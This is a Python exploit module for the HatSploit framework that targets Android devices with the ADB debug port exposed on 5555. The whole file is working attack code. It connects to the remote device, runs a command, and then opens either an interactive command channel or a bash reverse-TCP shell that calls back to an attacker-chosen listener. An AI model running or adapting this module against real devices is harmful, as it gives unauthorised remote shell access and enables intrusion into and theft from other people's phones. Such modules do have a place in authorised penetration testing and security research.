#!/usr/bin/env python3

#
# This module requires HatSploit: https://hatsploit.netlify.app
# Current source: https://github.com/EntySec/HatSploit
#

from hatsploit.lib.module import Module
from hatsploit.utils.handler import Handler
from hatsploit.utils.adb import ADBClient


class HatSploitModule(Module, Handler, ADBClient):
    details = {
        'Name': "Android ADB Remote Code Execution",
        'Module': "exploit/android/adb/remote_code_execution",
        'Authors': [
            'Ivan Nikolsky (enty8080) - module developer'
        ],
        'Description': "Remote Code Execution in Android ADB.",
        'Comments': [
            ''
        ],
        'Platform': "android",
        'Risk': "high"
    }

    payload = {
        'Description': "Payload to use.",
        'Value': "unix/generic/bash_reverse_tcp",
        'Categories': None,
        'Architectures': [
            'armle',
            'aarch64',
            'generic'
        ],
        'Platforms': [
            'android',
            'linux',
            'unix'
        ],
        'Types': None
    }

    options = {
        'RHOST': {
            'Description': "Remote host.",
            'Value': None,
            'Type': "ip",
            'Required': True
        },
        'RPORT': {
            'Description': "Remote port.",
            'Value': 5555,
            'Type': "port",
            'Required': True
        },
        'LHOST': {
            'Description': "Local host to listen on.",
            'Value': "0.0.0.0",
            'Type': "ip",
            'Required': True
        },
        'LPORT': {
            'Description': "Local port to listen on.",
            'Value': 8888,
            'Type': "port",
            'Required': True
        },
        'BLINDER': {
            'Description': "Use Blinder instead of payload.",
            'Value': "no",
            'Type': "boolean",
            'Required': False
        }
    }

    def run(self):
        remote_host, remote_port, local_host, local_port, blinder = self.parse_options(self.options)

        self.print_process(f"Exploiting {remote_host}...")
        client = self.open_adb(remote_host, remote_port)

        if not client.connect():
            self.print_error("Target is not vulnerable!")

            self.print_error("Exploit failed!")
            return

        print(client.send_command('ls /'))
        if blinder.lower() in ['yes', 'y']:
            self.blinder(
                sender=client.send_command
            )
        else:
            self.handle_session(
                host=local_host,
                port=local_port,
                remote_host=remote_host,

                payload=self.payload,

                sender=client.send_command
            )

        client.disconnect()
